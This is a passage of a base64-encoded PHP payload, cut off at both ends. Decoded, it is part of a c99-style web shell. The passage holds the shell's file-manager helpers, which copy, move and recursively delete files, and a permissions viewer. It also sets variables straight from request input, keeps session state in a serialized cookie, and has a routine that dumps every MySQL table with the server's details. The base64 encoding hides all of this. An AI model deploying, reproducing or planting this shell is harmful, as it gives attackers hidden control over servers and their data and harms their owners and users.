cHkiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjb3B5Il1bJGtdID0gc3RyX3JlcGxhY2UoIlxc
IixESVJFQ1RPUllfU0VQQVJBVE9SLHJlYWxwYXRoKCR2KSk7fQogICAgICBmb3JlYWNoKCRzZXNz
X2RhdGFbImN1dCJdIGFzICRrPT4kdikgeyRzZXNzX2RhdGFbImN1dCJdWyRrXSA9IHN0cl9yZXBs
YWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUixyZWFscGF0aCgkdikpO30KICAgICAgJHNlc3Nf
ZGF0YVsiY29weSJdID0gYXJyYXlfdW5pcXVlKCRzZXNzX2RhdGFbImNvcHkiXSk7CiAgICAgICRz
ZXNzX2RhdGFbImN1dCJdID0gYXJyYXlfdW5pcXVlKCRzZXNzX2RhdGFbImN1dCJdKTsKICAgICAg
c29ydCgkc2Vzc19kYXRhWyJjb3B5Il0pOwogICAgICBzb3J0KCRzZXNzX2RhdGFbImN1dCJdKTsK
ICAgICAgaWYgKCR4ICE9ICJjb3B5Iikge2ZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9
PiR2KSB7aWYgKCRzZXNzX2RhdGFbImNvcHkiXVska10gPT0gJHYpIHt1bnNldCgkc2Vzc19kYXRh
WyJjb3B5Il1bJGtdKTsgfX19CiAgICAgIGVsc2Uge2ZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJd
IGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjdXQiXVska10gPT0gJHYpIHt1bnNldCgkc2Vz
c19kYXRhWyJjdXQiXVska10pO319fQogICAgfQogIH0KICBjYV9idWZmX3ByZXBhcmUoKTsKICBp
ZiAoIWZ1bmN0aW9uX2V4aXN0cygiY2Ffc2Vzc19wdXQiKSkgewogICAgZnVuY3Rpb24gY2Ffc2Vz
c19wdXQoJGRhdGEpIHsKICAgICAgZ2xvYmFsICRzZXNzX2Nvb2tpZTsKICAgICAgZ2xvYmFsICRz
ZXNzX2RhdGE7CiAgICAgIGNhX2J1ZmZfcHJlcGFyZSgpOwogICAgICAkc2Vzc19kYXRhID0gJGRh
dGE7CiAgICAgICRkYXRhID0gc2VyaWFsaXplKCRkYXRhKTsKICAgICAgc2V0Y29va2llKCRzZXNz
X2Nvb2tpZSwkZGF0YSk7CiAgICB9CiAgfQogIGZvcmVhY2ggKGFycmF5KCJzb3J0Iiwic3FsX3Nv
cnQiKSBhcyAkdikgewogICAgaWYgKCFlbXB0eSgkX0dFVFskdl0pKSB7JCR2ID0gJF9HRVRbJHZd
O30KICAgIGlmICghZW1wdHkoJF9QT1NUWyR2XSkpIHskJHYgPSAkX1BPU1RbJHZdO30KICB9CiAg
aWYgKCRzb3J0X3NhdmUpIHsKICAgIGlmICghZW1wdHkoJHNvcnQpKSB7c2V0Y29va2llKCJzb3J0
Iiwkc29ydCk7fQogICAgaWYgKCFlbXB0eSgkc3FsX3NvcnQpKSB7c2V0Y29va2llKCJzcWxfc29y
dCIsJHNxbF9zb3J0KTt9CiAgfQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJzdHIybWluaSIpKSB7
CiAgICBmdW5jdGlvbiBzdHIybWluaSgkY29udGVudCwkbGVuKSB7CiAgICAgIGlmIChzdHJsZW4o
JGNvbnRlbnQpID4gJGxlbikgewogICAgICAgICRsZW4gPSBjZWlsKCRsZW4vMikgLSAyOwogICAg
ICAgIHJldHVybiBzdWJzdHIoJGNvbnRlbnQsIDAsJGxlbikuIi4uLiIuc3Vic3RyKCRjb250ZW50
LC0kbGVuKTsKICAgICAgfSBlbHNlIHtyZXR1cm4gJGNvbnRlbnQ7fQogICAgfQogIH0KICBpZiAo
IWZ1bmN0aW9uX2V4aXN0cygidmlld19zaXplIikpIHsKICAgIGZ1bmN0aW9uIHZpZXdfc2l6ZSgk
c2l6ZSkgewogICAgICBpZiAoIWlzX251bWVyaWMoJHNpemUpKSB7IHJldHVybiBGQUxTRTsgfQog
ICAgICBlbHNlIHsKICAgICAgICBpZiAoJHNpemUgPj0gMTA3Mzc0MTgyNCkgeyRzaXplID0gcm91
bmQoJHNpemUvMTA3Mzc0MTgyNCoxMDApLzEwMCAuIiBHQiI7fQogICAgICAgIGVsc2VpZiAoJHNp
emUgPj0gMTA0ODU3NikgeyRzaXplID0gcm91bmQoJHNpemUvMTA0ODU3NioxMDApLzEwMCAuIiBN
QiI7fQogICAgICAgIGVsc2VpZiAoJHNpemUgPj0gMTAyNCkgeyRzaXplID0gcm91bmQoJHNpemUv
MTAyNCoxMDApLzEwMCAuIiBLQiI7fQogICAgICAgIGVsc2UgeyRzaXplID0gJHNpemUgLiAiIEIi
O30KICAgICAgICByZXR1cm4gJHNpemU7CiAgICAgIH0KICAgIH0KICB9CiAgaWYgKCFmdW5jdGlv
bl9leGlzdHMoImZzX2NvcHlfZGlyIikpIHsKICAgIGZ1bmN0aW9uIGZzX2NvcHlfZGlyKCRkLCR0
KSB7CiAgICAgICRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsK
ICAgICAgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJ
UkVDVE9SWV9TRVBBUkFUT1I7fQogICAgICAkaCA9IG9wZW5kaXIoJGQpOwogICAgICB3aGlsZSAo
KCRvID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkgewogICAgICAgIGlmICgoJG8gIT0gIi4iKSBh
bmQgKCRvICE9ICIuLiIpKSB7CiAgICAgICAgICBpZiAoIWlzX2RpcigkZC5ESVJFQ1RPUllfU0VQ
QVJBVE9SLiRvKSkgeyRyZXQgPSBjb3B5KCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8sJHQuRElS
RUNUT1JZX1NFUEFSQVRPUi4kbyk7fQogICAgICAgICAgZWxzZSB7JHJldCA9IG1rZGlyKCR0LkRJ
UkVDVE9SWV9TRVBBUkFUT1IuJG8pOyBmc19jb3B5X2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9S
LiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30KICAgICAgICAgIGlmICghJHJldCkge3Jl
dHVybiAkcmV0O30KICAgICAgICB9CiAgICAgIH0KICAgICAgY2xvc2VkaXIoJGgpOwogICAgICBy
ZXR1cm4gVFJVRTsKICAgIH0KICB9CiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX2NvcHlfb2Jq
IikpIHsKICAgIGZ1bmN0aW9uIGZzX2NvcHlfb2JqKCRkLCR0KSB7CiAgICAgICRkID0gc3RyX3Jl
cGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsKICAgICAgJHQgPSBzdHJfcmVwbGFj
ZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOwogICAgICBpZiAoIWlzX2RpcihkaXJuYW1l
KCR0KSkpIHtta2RpcihkaXJuYW1lKCR0KSk7fQogICAgICBpZiAoaXNfZGlyKCRkKSkgewogICAg
ICAgIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJF
Q1RPUllfU0VQQVJBVE9SO30KICAgICAgICBpZiAoc3Vic3RyKCR0LC0xKSAhPSBESVJFQ1RPUllf
U0VQQVJBVE9SKSB7JHQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CiAgICAgICAgcmV0dXJuIGZz
X2NvcHlfZGlyKCRkLCR0KTsKICAgICAgfQogICAgICBlbHNlaWYgKGlzX2ZpbGUoJGQpKSB7IHJl
dHVybiBjb3B5KCRkLCR0KTsgfQogICAgICBlbHNlIHsgcmV0dXJuIEZBTFNFOyB9CiAgICB9CiAg
fQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX2RpciIpKSB7CiAgICBmdW5jdGlvbiBm
c19tb3ZlX2RpcigkZCwkdCkgewogICAgICAkaCA9IG9wZW5kaXIoJGQpOwogICAgICBpZiAoIWlz
X2RpcigkdCkpIHtta2RpcigkdCk7fQogICAgICB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9
PSBGQUxTRSkgewogICAgICAgIGlmICgoJG8gIT0gIi4iKSBhbmQgKCRvICE9ICIuLiIpKSB7CiAg
ICAgICAgICAkcmV0ID0gVFJVRTsKICAgICAgICAgIGlmICghaXNfZGlyKCRkLkRJUkVDVE9SWV9T
RVBBUkFUT1IuJG8pKSB7JHJldCA9IGNvcHkoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5E
SVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9CiAgICAgICAgICBlbHNlIHtpZiAobWtkaXIoJHQuRElS
RUNUT1JZX1NFUEFSQVRPUi4kbykgYW5kIGZzX2NvcHlfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFU
T1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gRkFMU0U7fX0KICAgICAg
ICAgIGlmICghJHJldCkge3JldHVybiAkcmV0O30KICAgICAgICB9CiAgICAgIH0KICAgICAgY2xv
c2VkaXIoJGgpOwogICAgICByZXR1cm4gVFJVRTsKICAgIH0KICB9CiAgaWYgKCFmdW5jdGlvbl9l
eGlzdHMoImZzX21vdmVfb2JqIikpIHsKICAgIGZ1bmN0aW9uIGZzX21vdmVfb2JqKCRkLCR0KSB7
CiAgICAgICRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsKICAg
ICAgJHQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOwogICAgICBp
ZiAoaXNfZGlyKCRkKSkgewogICAgICAgIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9T
RVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICAgICAgICBpZiAoc3Vic3Ry
KCR0LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHQgLj0gRElSRUNUT1JZX1NFUEFSQVRP
Ujt9CiAgICAgICAgcmV0dXJuIGZzX21vdmVfZGlyKCRkLCR0KTsKICAgICAgfQogICAgICBlbHNl
aWYgKGlzX2ZpbGUoJGQpKSB7CiAgICAgICAgaWYoY29weSgkZCwkdCkpIHtyZXR1cm4gdW5saW5r
KCRkKTt9CiAgICAgICAgZWxzZSB7dW5saW5rKCR0KTsgcmV0dXJuIEZBTFNFO30KICAgICAgfQog
ICAgICBlbHNlIHtyZXR1cm4gRkFMU0U7fQogICAgfQogIH0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0
cygiZnNfcm1kaXIiKSkgewogICAgZnVuY3Rpb24gZnNfcm1kaXIoJGQpIHsKICAgICAgJGggPSBv
cGVuZGlyKCRkKTsKICAgICAgd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpIHsK
ICAgICAgICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkgewogICAgICAgICAgaWYg
KCFpc19kaXIoJGQuJG8pKSB7dW5saW5rKCRkLiRvKTt9CiAgICAgICAgICBlbHNlIHtmc19ybWRp
cigkZC4kby5ESVJFQ1RPUllfU0VQQVJBVE9SKTsgcm1kaXIoJGQuJG8pO30KICAgICAgICB9CiAg
ICAgIH0KICAgICAgY2xvc2VkaXIoJGgpOwogICAgICBybWRpcigkZCk7CiAgICAgIHJldHVybiAh
aXNfZGlyKCRkKTsKICAgIH0KICB9CiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX3Jtb2JqIikp
IHsKICAgIGZ1bmN0aW9uIGZzX3Jtb2JqKCRvKSB7CiAgICAgICRvID0gc3RyX3JlcGxhY2UoIlxc
IixESVJFQ1RPUllfU0VQQVJBVE9SLCRvKTsKICAgICAgaWYgKGlzX2RpcigkbykpIHsKICAgICAg
ICBpZiAoc3Vic3RyKCRvLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JG8gLj0gRElSRUNU
T1JZX1NFUEFSQVRPUjt9CiAgICAgICAgcmV0dXJuIGZzX3JtZGlyKCRvKTsKICAgICAgfQogICAg
ICBlbHNlaWYgKGlzX2ZpbGUoJG8pKSB7cmV0dXJuIHVubGluaygkbyk7fQogICAgICBlbHNlIHty
ZXR1cm4gRkFMU0U7fQogICAgfQogIH0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygidGFic29ydCIp
KSB7CiAgICBmdW5jdGlvbiB0YWJzb3J0KCRhLCRiKSB7Z2xvYmFsICR2OyByZXR1cm4gc3RybmF0
Y21wKCRhWyR2XSwgJGJbJHZdKTt9CiAgfQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3Bl
cm1zIikpIHsKICAgIGZ1bmN0aW9uIHZpZXdfcGVybXMoJG1vZGUpIHsKICAgICAgaWYgKCgkbW9k
ZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXBlID0gInMiO30KICAgICAgZWxzZWlmICgoJG1v
ZGUgJiAweDQwMDApID09PSAweDQwMDApIHskdHlwZSA9ICJkIjt9CiAgICAgIGVsc2VpZiAoKCRt
b2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHR5cGUgPSAibCI7fQogICAgICBlbHNlaWYgKCgk
bW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXBlID0gIi0iO30KICAgICAgZWxzZWlmICgo
JG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdHlwZSA9ICJiIjt9CiAgICAgIGVsc2VpZiAo
KCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHR5cGUgPSAiYyI7fQogICAgICBlbHNlaWYg
KCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0eXBlID0gInAiO30KICAgICAgZWxzZSB7
JHR5cGUgPSAiPyI7fQogICAgICAkb3duZXJbInJlYWQiXSA9ICgkbW9kZSAmIDAwNDAwKT8iciI6
Ii0iOwogICAgICAkb3duZXJbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDIwMCk/InciOiItIjsKICAg
ICAgJG93bmVyWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDEwMCk/IngiOiItIjsKICAgICAgJGdy
b3VwWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDA0MCk/InIiOiItIjsKICAgICAgJGdyb3VwWyJ3cml0
ZSJdID0gKCRtb2RlICYgMDAwMjApPyJ3IjoiLSI7CiAgICAgICRncm91cFsiZXhlY3V0ZSJdID0g
KCRtb2RlICYgMDAwMTApPyJ4IjoiLSI7CiAgICAgICR3b3JsZFsicmVhZCJdID0gKCRtb2RlICYg
MDAwMDQpPyJyIjoiLSI7CiAgICAgICR3b3JsZFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDAyKT8g
InciOiItIjsKICAgICAgJHdvcmxkWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDAwMSk/IngiOiIt
IjsKICAgICAgaWYgKCRtb2RlICYgMHg4MDApIHskb3duZXJbImV4ZWN1dGUiXSA9ICgkb3duZXJb
ImV4ZWN1dGUiXSA9PSAieCIpPyJzIjoiUyI7fQogICAgICBpZiAoJG1vZGUgJiAweDQwMCkgeyRn
cm91cFsiZXhlY3V0ZSJdID0gKCRncm91cFsiZXhlY3V0ZSJdID09ICJ4Iik/InMiOiJTIjt9CiAg
ICAgIGlmICgkbW9kZSAmIDB4MjAwKSB7JHdvcmxkWyJleGVjdXRlIl0gPSAoJHdvcmxkWyJleGVj
dXRlIl0gPT0gIngiKT8idCI6IlQiO30KICAgICAgcmV0dXJuICR0eXBlLmpvaW4oIiIsJG93bmVy
KS5qb2luKCIiLCRncm91cCkuam9pbigiIiwkd29ybGQpOwogICAgfQogIH0KICBpZiAoIWZ1bmN0
aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9nZXRwd3Vp
ZCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCR1aWQpIHtyZXR1cm4g
RkFMU0U7fX0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSBhbmQgIWlu
X2FycmF5KCJwb3NpeF9nZXRncmdpZCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2dl
dGdyZ2lkKCRnaWQpIHtyZXR1cm4gRkFMU0U7fX0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9z
aXhfa2lsbCIpIGFuZCAhaW5fYXJyYXkoInBvc2l4X2tpbGwiLCRkaXNhYmxlZnVuYykpIHtmdW5j
dGlvbiBwb3NpeF9raWxsKCRnaWQpIHtyZXR1cm4gRkFMU0U7fX0KICBpZiAoIWZ1bmN0aW9uX2V4
aXN0cygicGFyc2VfcGVybXMiKSkgewogICAgZnVuY3Rpb24gcGFyc2VfcGVybXMoJG1vZGUpIHsK
ICAgICAgaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0ID0gInMiO30KICAgICAg
ZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApIHskdCA9ICJkIjt9CiAgICAgIGVs
c2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHQgPSAibCI7fQogICAgICBlbHNl
aWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0ID0gIi0iO30KICAgICAgZWxzZWlm
ICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdCA9ICJiIjt9CiAgICAgIGVsc2VpZiAo
KCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHQgPSAiYyI7fQogICAgICBlbHNlaWYgKCgk
bW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0ID0gInAiO30KICAgICAgZWxzZSB7JHQgPSAi
PyI7fQogICAgICAkb1siciJdID0gKCRtb2RlICYgMDA0MDApID4gMDsgJG9bInciXSA9ICgkbW9k
ZSAmIDAwMjAwKSA+IDA7ICRvWyJ4Il0gPSAoJG1vZGUgJiAwMDEwMCkgPiAwOwogICAgICAkZ1si
ciJdID0gKCRtb2RlICYgMDAwNDApID4gMDsgJGdbInciXSA9ICgkbW9kZSAmIDAwMDIwKSA+IDA7
ICRnWyJ4Il0gPSAoJG1vZGUgJiAwMDAxMCkgPiAwOwogICAgICAkd1siciJdID0gKCRtb2RlICYg
MDAwMDQpID4gMDsgJHdbInciXSA9ICgkbW9kZSAmIDAwMDAyKSA+IDA7ICR3WyJ4Il0gPSAoJG1v
ZGUgJiAwMDAwMSkgPiAwOwogICAgICByZXR1cm4gYXJyYXkoInQiPT4kdCwibyI9PiRvLCJnIj0+
JGcsInciPT4kdyk7CiAgICB9CiAgfQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwYXJzZXNvcnQi
KSkgewogICAgZnVuY3Rpb24gcGFyc2Vzb3J0KCRzb3J0KSB7CiAgICAgICRvbmUgPSBpbnR2YWwo
JHNvcnQpOwogICAgICAkc2Vjb25kID0gc3Vic3RyKCRzb3J0LC0xKTsKICAgICAgaWYgKCRzZWNv
bmQgIT0gImQiKSB7JHNlY29uZCA9ICJhIjt9CiAgICAgIHJldHVybiBhcnJheSgkb25lLCRzZWNv
bmQpOwogICAgfQogIH0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19wZXJtc19jb2xvciIp
KSB7CiAgICBmdW5jdGlvbiB2aWV3X3Blcm1zX2NvbG9yKCRvKSB7CiAgICAgIGlmICghaXNfcmVh
ZGFibGUoJG8pKSB7cmV0dXJuICI8Zm9udCBjb2xvcj1yZWQ+Ii52aWV3X3Blcm1zKGZpbGVwZXJt
cygkbykpLiI8L2ZvbnQ+Ijt9CiAgICAgIGVsc2VpZiAoIWlzX3dyaXRhYmxlKCRvKSkge3JldHVy
biAiPGZvbnQgY29sb3I9d2hpdGU+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+
Ijt9CiAgICAgIGVsc2Uge3JldHVybiAiPGZvbnQgY29sb3I9Z3JlZW4+Ii52aWV3X3Blcm1zKGZp
bGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9CiAgICB9CiAgfQogIGlmICghZnVuY3Rpb25fZXhpc3Rz
KCJteXNxbF9kdW1wIikpIHsKICAgIGZ1bmN0aW9uIG15c3FsX2R1bXAoJHNldCkgewogICAgICBn
bG9iYWwgJHNoX3ZlcjsKICAgICAgJHNvY2sgPSAkc2V0WyJzb2NrIl07CiAgICAgICRkYiA9ICRz
ZXRbImRiIl07CiAgICAgICRwcmludCA9ICRzZXRbInByaW50Il07CiAgICAgICRubDJiciA9ICRz
ZXRbIm5sMmJyIl07CiAgICAgICRmaWxlID0gJHNldFsiZmlsZSJdOwogICAgICAkYWRkX2Ryb3Ag
PSAkc2V0WyJhZGRfZHJvcCJdOwogICAgICAkdGFicyA9ICRzZXRbInRhYnMiXTsKICAgICAgJG9u
bHl0YWJzID0gJHNldFsib25seXRhYnMiXTsKICAgICAgJHJldCA9IGFycmF5KCk7CiAgICAgICRy
ZXRbImVyciJdID0gYXJyYXkoKTsKICAgICAgaWYgKCFpc19yZXNvdXJjZSgkc29jaykpIHtlY2hv
KCJFcnJvcjogXCRzb2NrIGlzIG5vdCB2YWxpZCByZXNvdXJjZS4iKTt9CiAgICAgIGlmIChlbXB0
eSgkZGIpKSB7JGRiID0gImRiIjt9CiAgICAgIGlmIChlbXB0eSgkcHJpbnQpKSB7JHByaW50ID0g
MDt9CiAgICAgIGlmIChlbXB0eSgkbmwyYnIpKSB7JG5sMmJyID0gMDt9CiAgICAgIGlmIChlbXB0
eSgkYWRkX2Ryb3ApKSB7JGFkZF9kcm9wID0gVFJVRTt9CiAgICAgIGlmIChlbXB0eSgkZmlsZSkp
IHsKICAgICAgICAkZmlsZSA9ICR0bXBkaXIuImR1bXBfIi5nZXRlbnYoIlNFUlZFUl9OQU1FIiku
Il8iLiRkYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCI7CiAgICAgIH0KICAgICAgaWYg
KCFpc19hcnJheSgkdGFicykpIHskdGFicyA9IGFycmF5KCk7fQogICAgICBpZiAoZW1wdHkoJGFk
ZF9kcm9wKSkgeyRhZGRfZHJvcCA9IFRSVUU7fQogICAgICBpZiAoc2l6ZW9mKCR0YWJzKSA9PSAw
KSB7CiAgICAgICAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFUyBGUk9NICIuJGRiLCAk
c29jayk7CiAgICAgICAgaWYgKG15c3FsX251bV9yb3dzKCRyZXMpID4gMCkge3doaWxlICgkcm93
ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXMpKSB7JHRhYnNbXSA9ICRyb3dbMF07fX0KICAgICAgfQog
ICAgICAkb3V0ID0gIgogICAgICAjIER1bXBlZCBieSAiLiRzaF9uYW1lLiIKICAgICAgIwogICAg
ICAjIEhvc3Qgc2V0dGluZ3M6CiAgICAgICMgTXlTUUwgdmVyc2lvbjogKCIubXlzcWxfZ2V0X3Nl
cnZlcl9pbmZvKCkuIikgcnVubmluZyBvbiAiLmdldGVudigiU0VSVkVSX0FERFIiKS4iICgiLmdl
dGVudigiU0VSVkVSX05BTUUiKS4iKSIuIgogICAgICAjIERhdGU6ICIuZGF0ZSgiZC5tLlkgSDpp
OnMiKS4iCiAgICAgICMgREI6IFwiIi4kZGIuIlwiCiAgICAgICMtLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iOwogICAgICAkYyA9IGNvdW50
KCRvbmx5dGFicyk7CiAgICAgIGZvcmVhY2goJHRhYnMgYXMgJHRhYikgewogICAgICAgIGlmICgo
aW5fYXJyYXkoJHRhYiwkb25seXRhYnMpKSBvciAoISRjKSkgewogICAgICAgICAgaWYgKCRhZGRf
ZHJvcCkgeyRvdXQgLj0gIkRST1AgVEFCTEUgSUYgRVhJU1RTIGAiLiR0YWIuImA7XG4iO30KICAg
ICAgICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBDUkVBVEUgVEFCTEUgYCIuJHRhYi4iYCIs
ICRzb2NrKTsKICAgICAgICAgIGlmICghJHJlcykgeyRyZXRbImVyciJdW10gPSBteXNxbF9zbWFy
dGVycm9yKCk7fQogICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICRyb3cgPSBteXNxbF9mZXRj
aF9yb3coJHJlcyk7CiAgICAgICAgICAgICRvdXQgLj0gJHJvd1siMSJdLiI7XG5cbiI7CiAgICAg
ICAgICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBgJHRhYmAiLCAkc29jayk7
CiAgICAgICAgICAgIGlmIChteXNxbF9udW1fcm93cygkcmVzKSA+IDApIHsKICAgICAgICAgICAg
ICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpKSB7CiAgICAgICAgICAgICAg
ICAka2V5cyA9IGltcGxvZGUoImAsIGAiLCBhcnJheV9rZXlzKCRyb3cpKTsKICAgICAgICAgICAg
ICAgICR2YWx1ZXMgPSBhcnJheV92YWx1ZXMoJHJvdyk7CiAgICAgICAgICAgICAgICBmb3JlYWNo
KCR2YWx1ZXMgYXMgJGs9PiR2KSB7JHZhbHVlc1ska10gPSBhZGRzbGFzaGVzKCR2KTt9CiAgICAg
ICAgICAgICAgICAkdmFsdWVzID0gaW1wbG9kZSgiJywgJyIsICR2YWx1ZXMpOwogICAgICAgICAg
ICAgICAgJHNxbCA9ICJJTlNFUlQgSU5UTyBgJHRhYmAoYCIuJGtleXMuImApIFZBTFVFUyAoJyIu
JHZhbHVlcy4iJyk7XG4iOwogICAgICAgICAgICAgICAgJG91dCAuPSAkc3FsOwogICAgICAgICAg
ICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgfQogICAgICAgIH0KICAgICAgfQogICAgICAk
b3V0IC49ICIjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXG5cbiI7CiAgICAgIGlmICgkZmlsZSkg
ewogICAgICAgICRmcCA9IGZvcGVuKCRmaWxlLCAidyIpOwogICAgICAgIGlmICghJGZwKSB7JHJl
dFsiZXJyIl1bXSA9IDI7fQogICAgICAgIGVsc2UgewogICAgICAgICAgZndyaXRlICgkZnAsICRv
dXQpOwogICAgICAgICAgZmNsb3NlICgkZnApOwogICAgICAgIH0KICAgICAgfQogICAgICBpZiAo
JHByaW50KSB7aWYgKCRubDJicikge2VjaG8gbmwyYnIoJG91dCk7fSBlbHNlIHtlY2hvICRvdXQ7
fX0KICAgICAgcmV0dXJuICRvdXQ7CiAgICB9CiAgfQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJt
eXNxbF9idWlsZHdoZXJlIikpIHsKICAgIGZ1bmN0aW9uIG15c3FsX2J1aWxkd2hlcmUoJGFycmF5
LCRzZXA9IiBhbmQiLCRmdW5jdHM9YXJyYXkoKSkgewogICAgICBpZiAoIWlzX2FycmF5KCRhcnJh
eSkpIHskYXJyYXkgPSBhcnJheSgpO30KICAgICAgJHJlc3VsdCA9ICIiOwogICAgICBmb3JlYWNo
KCRhcnJheSBhcyAkaz0+JHYpIHsKICAgICAgICAkdmFsdWUgPSAiIjsKICAgICAgICBpZiAoIWVt
cHR5KCRmdW5jdHNbJGtdKSkgeyR2YWx1ZSAuPSAkZnVuY3RzWyRrXS4iKCI7fQogICAgICAgICR2
YWx1ZSAuPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOwogICAgICAgIGlmICghZW1wdHkoJGZ1bmN0
c1ska10pKSB7JHZhbHVlIC49ICIpIjt9CiAgICAgICAgJHJlc3VsdCAuPSAiYCIuJGsuImAgPSAi
LiR2YWx1ZS4kc2VwOwogICAgICB9CiAgICAgICRyZXN1bHQgPSBzdWJzdHIoJHJlc3VsdCwwLHN0
cmxlbigkcmVzdWx0KS1zdHJsZW4oJHNlcCkpOwogICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0K
ICB9CiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2ZldGNoX2FsbCIpKSB7CiAgICBmdW5j
dGlvbiBteXNxbF9mZXRjaF9hbGwoJHF1ZXJ5LCRzb2NrKSB7CiAgICAgIGlmICgkc29jaykgeyRy
ZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnksJHNvY2spO30KICAgICAgZWxzZSB7JHJlc3VsdCA9
IG15c3FsX3F1ZXJ5KCRxdWVyeSk7fQogICAgICAkYXJyYXkgPSBhcnJheSgpOwogICAgICB3aGls
ZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7JGFycmF5W10gPSAkcm93O30K
ICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAgICAgIHJldHVybiAkYXJyYXk7CiAg
ICB9CiAgfQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9zbWFydGVycm9yIikpIHsKICAg
